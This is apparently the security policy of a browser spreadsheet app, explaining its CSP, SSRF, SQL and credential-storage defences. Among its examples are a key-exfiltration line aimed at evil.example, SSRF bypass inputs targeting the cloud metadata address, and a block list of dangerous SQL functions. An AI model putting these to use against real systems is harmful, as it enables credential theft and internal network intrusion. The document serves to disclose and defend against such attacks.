Please report security issues privately, not as a public issue:
- Use GitHub's private vulnerability reporting on this repository (Security → Report a vulnerability).
Please include what you did, what happened, and what you expected. A proof of concept helps. This is a personal project, so there is no bounty and no guaranteed response time — but reports are welcome and will be credited unless you'd rather not be.
Only the main branch. There are no released versions or maintained branches yet.
Most of the app runs entirely in the browser: the spreadsheet, the formula engine, import/export,
charts and conditional formatting never send your data anywhere. Sheets live in that browser's
localStorage.
Live data comes in two kinds, and they are guarded differently because different machines make the
request. A source connected from the browser (src/lib/dataSources/browserSource.ts) is fetched by
the visitor's own browser, straight from their machine to their API — including one behind their VPN
or inside their office. This app's server takes no part: the URL, the header and the data are never
sent to it, and an e2e flow records every request the page makes to /api/* and checks that none
carries any of the three.
- The request:
fetchwithmode: "cors",credentials: "omit"(no cookies, so a company single-sign-on cookie is never sent by accident),cache: "no-store". Onlyhttps://, orhttp://onlocalhost/127.0.0.1; anything else is refused before a request is made. Next-page links are followed only on the source's own origin, and the header goes only to that origin. urlGuardis deliberately not used here. It exists so that nobody can point this server at this server's network. On this path the network is the user's own, reached with the user's own permissions; an internal address is the use case, not an attack. What stands between the page and an origin is the browser (CORS, mixed content, private-network rules) and the page's CSP, below.- The header value lives in
sessionStorage, keyed by the source's id (browserSecrets.ts), and nowhere else — notlocalStoragewith the source's other settings, not the workbook, not an exported .xlsx/.csv/.pdf, not a crash report, not the usage counter, not any request to/api/*. Closing the tab forgets it and the app asks again. A token that outlives the tab is one a shared computer hands to the next person. A query parameter that looks like a credential (token=,key=,apikey=,access_token=, …) is flagged in the form so it can be moved into the header. - Redirects are the browser's. It drops
Authorizationon a cross-origin redirect but keeps other custom header names, and the API decides where it redirects. A page cannot follow redirects by hand the way the server does, because it is not allowed to read where a cross-origin redirect points.
connect-src is narrow on purpose: it is what stops an injected script from sending the visitor's own
Anthropic key (in sessionStorage, see below) somewhere else. Opening it for everyone so that this
feature works would throw that away. Instead:
- When a user saves a browser source, only the origin of its URL (scheme, host and port — no path,
no query) is written to a first-party cookie,
etg-api-origins(Path=/,SameSite=Strict,Secure, one year). src/proxy.tsreads the cookie on each request and appends to that user'sconnect-srconly the entries that pass validation (src/lib/apiOrigins.ts): exactlyhttps://host[:port], orhttp://localhost[:port]/http://127.0.0.1[:port], parsed withnew URL()and re-derived from.origin, so the string that reaches the header is oneURLproduced rather than one the cookie did. No wildcard, no*, nohttps:scheme source, no credentials, no spaces,;,'or,; at most 20; anything else is dropped silently.- The fallback policy in
next.config.tsis unchanged and never reads the cookie. Someone who never adds a source gets exactly the policy they always had, character for character — checked byapiOrigins.test.tsand by an e2e flow that reads the real header before and after a source is added. - A new origin takes one page reload to apply, since a page's policy is fixed when it loads. The app does the reload for the user, and only if the last autosave succeeded. Deleting the last source for an origin removes that origin from the cookie.
The trade-off, stated plainly: a user who adds an API lets this page talk to that origin. If a
script were ever injected into the page, it could write an origin of its own into the cookie too, and
that would take effect after a reload. This design keeps the strict policy for everyone who does not
use the feature; it does not fix XSS. Neither does CSP in general — it cannot stop a top-level
navigation (location = "https://evil.example/?k=" + key) either, which is why a strict script-src
(nonce plus 'strict-dynamic', src/proxy.ts) is the part that makes injection itself hard.
Not yet verified: the private-network point in the app's checklist for IT (Chrome/Edge may want
Access-Control-Allow-Private-Network: true, or the user allowing local network access) has not been
tested against a real internal address.
The server-side sources are the other kind: they ask this app's server to fetch a URL, or open a
database, on someone's behalf. They exist only on a deployment that sets SOURCES_ADMIN_TOKEN — without
it the UI does not show them at all. Three things guard them, and all three matter if you put this where
other people can reach it.
/api/sources, /api/sources/[id], /api/sources/[id]/data and /api/sources/test all require
SOURCES_ADMIN_TOKEN, sent as X-Sources-Token (or Authorization: Bearer). With no token
configured the API refuses every request with 403 sources_disabled rather than serving
anybody — being unreachable is only a bad default if the alternative isn't "anyone on the internet
can drive the server's HTTP client", and it is.
One shared operator token rather than accounts, because that matches the documented shape of the
feature: one technical person sets the sources up, everyone else just sees the data. The browser
keeps it in sessionStorage, so closing the browser asks again.
There is no exception any more. A deployment used to be able to serve three built-in sample sources
with no token; that is gone (#109), and the server no longer seeds data/sources.json either.
NEXT_PUBLIC_DEMO_MODE=1 is still read, for deployments that set it, and now means exactly one
thing: every server-side source route refuses with 403 server_sources_off, even with a token
set — kept rather than removed so an old setting cannot silently switch a server feature on. The
sample feeds under /api/sample/* still exist for screenshots and tests, and the list in
src/lib/server/demoSources.ts (app-relative URLs, no credential, GET only, exact-id lookup — pinned
by demoSources.test.ts) is kept for a future follow-along sample.
A wrong token is compared in constant time, and "switched off" and "wrong token" are reported differently so an operator can tell which they are looking at.
Before every request — and again after every redirect, because a 302 is how a checked URL
becomes an unchecked one — the destination is resolved and every address it resolves to is checked.
Blocked: loopback, link-local (including 169.254.169.254, the cloud metadata endpoint on AWS, GCP
and Azure alike), RFC 1918 private ranges, carrier-grade NAT, multicast, and the reserved and
documentation ranges (IPv4, and IPv6's 2001:db8::/32). IPv6 link-local and unique-local go too.
An IPv4 address carried inside an IPv6 one is unpacked and checked as the IPv4 address it is, for
these forms: IPv4-mapped ::ffff:169.254.169.254 and the hex form ::ffff:a9fe:a9fe a URL
normalises it to, the deprecated IPv4-compatible ::a9fe:a9fe, SIIT's IPv4-translated
::ffff:0:a9fe:a9fe (RFC 6145), NAT64's well-known prefix
64:ff9b::a9fe:a9fe (RFC 6052 — on an IPv6-only subnet the gateway really does turn that into
169.254.169.254) and 6to4 2002:a9fe:a9fe:: (RFC 3056). A public IPv4 address reached through
NAT64 still works, since that is the only way an IPv6-only host reaches one. The local-use NAT64
prefix 64:ff9b:1::/48 (RFC 8215) is refused outright: where its IPv4 sits depends on a prefix
length the address does not state. So is Teredo, 2001::/32 (RFC 4380), which carries its IPv4
obscured and is switched off almost everywhere. Only http and https are allowed.
A URL beginning with a single / is one of the app's own routes and is the one case the guard is
skipped for — an app-relative source such as the sample feed /api/sample/sales is reached even when the
deployment's own origin is loopback. "Its own route" is decided by resolving the URL and comparing the resolved origin to the
deployment's, not by the leading slash alone: //169.254.169.254/ and /\169.254.169.254/ also
begin with a slash, but resolve to a foreign host, so they clear the full guard like any absolute
URL. (A pentest found the earlier leading-slash shortcut let exactly these through to the metadata
endpoint; there are now regression tests at both the validation and the fetch layer.)
Set SOURCES_ALLOWED_HOSTS to a comma-separated list to narrow it further to named hosts. The
address checks still apply on top of it: being allowlisted is not a licence to point at loopback.
What this does not fully close: the address is checked and then the connection is made, and in
between the name could in principle be re-resolved to something else. Closing that completely means
pinning the connection to the checked address, which Node's fetch does not expose. The bar is
raised a very long way; it is not claimed to be airtight.
A Postgres or MySQL source hands the server a connection string and one saved statement, and the
server opens the connection. That is the same request-forgery primitive as a URL with a different
protocol on the front — postgres://u:p@169.254.169.254:80/x is a port scan with a friendly error
message — so the same resolve-and-check runs before the driver is loaded, over the same blocked
ranges.
One rule is deliberately different, and it is a loosening. A database on a private address is
the normal case: an RDS instance inside a VPC, a Postgres container beside the app. Applying the
REST rule would make the feature useless in exactly the deployments it exists for. So the private-
address rule still stands by default and SOURCES_ALLOWED_DB_HOSTS is the way past it: an operator
who names a host there has said, in an environment only they can write, that the server may reach
it. Nothing a browser sends can add to that list, and a near miss (evil.db.internal against an
allowed db.internal) is not a match. A connection string naming a unix socket — either as a
path host or as the ?host= parameter the Postgres driver prefers over the host in the URL — is
refused outright: a socket would step around every address check by not using an address.
The query is guarded twice, and only one of the two is a guarantee.
- The guarantee: every query runs inside a read-only transaction (
begin read only/set session transaction read only), so a write is refused by the database itself whatever the text said. MySQL connections are opened withmultipleStatements: false, so one string cannot carry a second statement past a check that only read the first. - The early warning:
src/lib/dataSources/sqlGuard.tsrefuses, at save time, anything that is not a singleSELECT/WITH— a second statement, a write keyword,SELECT … INTO OUTFILE,pg_read_file,load_file,pg_sleep. It scans the statement with comments, strings, quoted identifiers and Postgres dollar-quoting blanked out (blanked, not deleted, so nothing can be spliced together), and an unterminated comment or quote is a refusal rather than a guess.
A keyword list can always be walked around; a read-only transaction cannot. Both are here because the first produces a clear error while the operator is still looking at the form and the second produces a correct outcome at three in the morning, and those are not the same job.
Row counts are capped by the database rather than after the fact — the saved statement is wrapped
in select * from (…) limit n — and a statement timeout bounds the rest, so a saved query cannot
hold a connection open forever on a refresh loop.
What this does not close: the database account is yours to scope. This app cannot stop a query
reading a table you would rather it did not, and the right answer is a read-only role that can see
only what the source is meant to publish. The connection is encrypted only if the string asks for
it (sslmode=require, ?ssl=true); sslmode=disable is honoured as written, because a connection
that merely looks encrypted is worse than one that admits it is not.
An auth header belongs to the origin of the URL the source was set up with — its scheme, host and port. It is sent to that origin and nowhere else:
- A redirect to another origin is followed, without the header. Redirects are followed by hand
so that every hop can be checked (above), which means
fetch's own rule of droppingAuthorizationon a cross-origin redirect does not apply by itself; the same rule is applied here, to whatever header name the source uses. Once dropped it is not put back, even if a later hop returns to the original origin.https→httpon the same host counts as another origin. - A next-page link on another origin is not followed at all. Paging stops there, the rows already fetched are kept, and the table is marked partial. A redirect to a CDN is ordinary HTTP; an API whose pages continue on a different host is not something to follow blind.
A source reached through the app's own path (an app-relative URL such as a sample feed) is unaffected.
Reliability as much as security — reaching this needs the operator token, or control of an API the
operator chose — but a URL that turns out to point at a 2 GB export should cost a failed refresh,
not the server's memory. All five numbers live in src/lib/dataSources/fetchLimits.ts.
- About 49 MB of body per refresh, across every page, counted after decompression. One kilobyte
per row at the 50,000-row ceiling the form offers; measured before choosing it, 50,000 rows are
8.1 MB for the sample orders feed and 34.9 MB for twenty fields of mostly Thai text. The body is read as
a stream and the read stops the moment it passes the budget, rather than after
res.text()has taken the lot; acontent-lengthover the budget is refused before a byte is read. Counted after decompression becausefetchinflates gzip and brotli before this code sees anything, and 53 KB on the wire was measured turning into 40 MB of text. - 15 seconds per request, from sending it to the body's last byte. The timer used to be cleared the moment the headers arrived, so a server that answered at once and then sent a byte a second held a refresh open for as long as it liked.
- 45 seconds across every redirect and page of one refresh, enforced inside each request as well as between pages.
- 4 MB of table sent on to the browser per refresh. Vercel refuses a function response over 4.5 MB, so a bigger table is cut to the rows that fit and marked partial for its size instead of failing as a 413; the same number applies self-hosted, so a source behaves alike on both.
Hitting either on the first page fails the refresh with a code the data panel turns into a sentence in the reader's language; hitting either on a later page keeps the rows already fetched and marks the table partial, the same as the 20-page ceiling does.
An auth header attached to a source is encrypted with AES-256-GCM under SOURCES_SECRET_KEY before
it is written to data/sources.json, and decrypted only at the moment it is put on an outgoing
request. A database connection string is a credential in the same sense and is handled the same
way — it is ciphertext for the whole of its life and plaintext only for the moment a connection
is opened. What the browser is sent is a description rather than the string: the kind, the host and
the database name, never the user and never the password. If the stored string cannot be read for
any reason the answer is the mask, not a best guess. Without that key configured, the app refuses to store a credential rather than writing
one in the clear. Values written before this existed are still readable and are re-encrypted the
next time that source is saved.
This does not make the file safe to publish — somebody who can read the file can usually read the
environment too — but it stops the ordinary losses: a backup copied somewhere less guarded, a
tarball pasted into a chat, a snapshot restored onto another machine. GCM also means a tampered
ciphertext fails loudly instead of quietly becoming somebody's Authorization header.
The data file is per-deployment, not per-user: anyone holding the operator token sees and edits the same set of sources. That is the intended shape of the feature, not an oversight.
- CSV: a value beginning
=,+,-,@, a tab or a newline is written with a leading apostrophe, so the next program reads it as text; numbers are never touched (src/lib/csvInjection.test.ts). .xlsx: a formula goes out as a formula only if this app's engine can parse it. One it cannot parse — already an error in the app — goes out as a text cell, and reads back in as text (src/lib/xlsxFormulaExport.test.ts). Formulas the engine reads are unchanged, including ones that arrived from a CSV, as they would be if Excel itself had opened and saved that file.
/api/usage answers one question — has anyone actually used this — and it is at odds with the
sentence the landing page leads with, so the shape is the argument rather than a footnote to it.
Off unless a deployment switches it on. NEXT_PUBLIC_USAGE=1, and nothing else. A clone of
this repo sends nothing, ever, and there is no default endpoint to forget to unset. The flag is
checked again in the route, so a post to a deployment that said no is refused rather than quietly
recorded — and a check:e2e flow drives the acts that are wired to count on an ordinary build and
asserts that zero requests reach /api/usage, because "this bundle sends nothing" is a claim
about the build and not about a function.
The event name is the whole payload, and it comes from a fixed list of seven. This is the load-bearing part, not a tidiness preference. The policy already allows the page to talk to its own origin, so a free-text field here would be a ready-made way for a bug — or an injected script — to post a cell's contents somewhere and have it look like telemetry. A closed union cannot carry a spreadsheet. The same list is checked in the browser, again in the route, and a third time in SQL; only the third is one an attacker cannot skip by not using the browser.
At most once per event per page load, held in memory and never written down, so there is no id to persist and nothing to correlate across visits. It also changes what is measured, on purpose: did this happen at all, not how many times — a per-keystroke counter is a behavioural trace wearing a number's clothes.
No time of day, no IP, no user agent, no referrer, no cookie, no session. A request carries the
first four whether anyone wants them or not; what matters is that none are kept, and the route's
tests send all four and assert that what reaches storage is the event name alone. The user agent is
the one that is read: the route drops a request whose user agent contains HeadlessChrome (the
browser already declines to send when navigator.webdriver is set or its own user agent says the
same), and the value goes out of scope with the request — not stored, not logged. A bot that
disguises itself as a person is still counted; this filters only the ones that say what they are. The day is
stamped by current_date in the database, because a date that arrives over the network is a field
somebody eventually makes more precise, and an exact time plus a rare event is an identifier.
Do Not Track and Global Privacy Control are honoured. An app whose whole argument is "we do not take your data" does not get to ignore the browser saying the same thing.
What is stored is (day, event) → count. The table has row-level security on and no policy of
any kind — deliberately, so the key the server holds cannot read a row back; it may call
bump_usage and nothing else. That is the one table in this project in that shape, and
policies.test.ts lists it by name so the "RLS on with nothing written" check still applies
everywhere else.
One finding from applying all of this to a real project, recorded because the test that should
have caught it did not: Supabase's database linter reported four functions with a mutable
search_path. All four are in 0001–0002, none is security definer — three triggers and one
immutable helper — which is exactly why policies.test.ts passed over them; it only asked about
definers. 0005_pin_search_paths.sql pins them, and the test now asks it of every function in
the migrations rather than only the ones where it is most dangerous.
The security advisor's other warning, and 0007. It lists every security definer function
anon can call through /rest/v1/rpc/…. None was a hole — can_access_workbook / owns_workbook
answer from the caller's own token, so a signed-out caller always got false, and
snapshot_workbook is a trigger — but nothing needed the grant either, so
0007_revoke_unneeded_execute.sql takes it away: the trigger is callable by nobody (Postgres does
not check EXECUTE when a trigger fires), and the two access checks keep EXECUTE for
authenticated only, because the policies call them with the caller's rights. That order matters:
six policies had been written without a to clause, which means to public, and with those left
as they were the revoke would have turned a signed-out request's empty answer into "permission
denied for function". So 0007 scopes them to authenticated first. Replayed on a real Postgres
16 before it was written down here: signed out still reads zero rows without an error, a signed-in
owner and a member still read, write and leave versions behind. bump_usage stays callable by
anon — that is the whole design of the counter.
What it cannot tell you, said here so nobody reads more into a number than is in it: how many people (two visits from one person and one each from two are the same number), whether anyone came back, where they came from, or anything at all about a single visit.
NEXT_PUBLIC_SUPABASE_URL / NEXT_PUBLIC_SUPABASE_ANON_KEY are unset by default, and while they
are, none of the cloud code can run: the button is not rendered and the client library is never
downloaded. The app stays what it was — sheets in localStorage, nothing sent anywhere.
Set them and the browser talks directly to your Supabase project. Nothing is proxied through this app's server, so a deployment never sees its users' spreadsheets. Two things to know:
-
The anon key is public by design. It ships to the browser, as it is meant to. What protects the data is row-level security, which
supabase/migrations/0001_workbooks.sqlsets up: a row is readable, writable and deletable only by the account that owns it. Run that migration — an unprotected table with a public key is readable by anyone who opens the page. -
Never put a service-role key in these variables. It bypasses every policy, and being
NEXT_PUBLIC_it would be handed to every visitor. -
Sharing is only as safe as your project's email confirmation. A workbook is shared with an email address, and
can_access_workbook()(0002_sharing_and_realtime.sql) lets in whoever's sign-in token carries that address. That is sound only while the project will not issue such a token before the address has been proven. If "Confirm email" is off, anyone holding the public anon key can sign up through Supabase's API — with a password, whatever the app's own magic-link screen shows — as an address that was invited, and open the workbook. Before you share anything, check in the Supabase dashboard, under Authentication → Sign In / Providers → Email:- Confirm email is on (self-hosted:
GOTRUE_MAILER_AUTOCONFIRM=false), so sign-up does not return a session until the link in the email is clicked; - Secure email change is on, so changing an account's address to an invited one needs the new address confirmed too;
- any other sign-in provider you enable only hands over addresses it has verified itself.
This app cannot see those settings, so nothing in it can check them for you. Inviting by user id instead of by address would remove the dependency; it is on the roadmap, not built.
- Confirm email is on (self-hosted:
Running cloud save means running a database for whoever signs into your deployment, with the obligations that carries. That is the reason it is off by default rather than something this project hosts for everyone.
ANTHROPIC_API_KEY is read on the server only and is never sent to the browser. Keep it in
.env.local, which is gitignored — .env.example is a template and holds no value.
/api/ai/formula deliberately requires no token: the assistant is a feature of the app, not an
admin tool. It is rate limited instead — 20 calls per minute per client address, refused with
429 and a Retry-After. That slows a careless script or a stuck retry loop. It does not protect
your Anthropic bill: the address it counts by is one a client can choose (below), so a script that
sends a different one each time is never limited. What protects the bill is the next paragraph.
The route uses the server's key whenever one is set — the same on a public deployment as on your
own machine. If you set ANTHROPIC_API_KEY on a public deployment, everyone who uses the site uses
the assistant on your key and your bill. The only billing control is not setting it there: without a
key the local keyword matcher answers, which costs nothing, and a visitor can bring their own key,
which goes from their browser straight to Anthropic and never touches this route. The public site at
excel-to-go.vercel.app is meant to run without one.
NEXT_PUBLIC_DEMO_MODE=1 used to make the route behave as if no key were configured. It no longer
does (#109): the public site is not a demo, and a key someone sets should behave as it does
self-hosted. src/app/api/ai/formula/route.test.ts pins both halves: with no key the SDK is never
constructed, and the old switch does not hide a configured key. Before deploying that change, or
removing NEXT_PUBLIC_DEMO_MODE from a public deployment, confirm that neither ANTHROPIC_API_KEY nor
SOURCES_ADMIN_TOKEN is set there.
The counters are held in the serving process's memory. Two instances behind a load balancer count
separately and a serverless cold start forgets everything, so this is a guard against casual abuse,
not a billing control; a real one needs shared storage, which this project does not have. The
address comes from x-forwarded-for, which a client can forge — rotating it gets a fresh allowance
on every call, which is why the paragraph above does not claim more — so it is used
for counting only and never for authorisation — and the limiter caps how many distinct keys it will
hold, because otherwise a spray of forged addresses would exhaust memory and turn the limiter into
the denial of service it exists to prevent.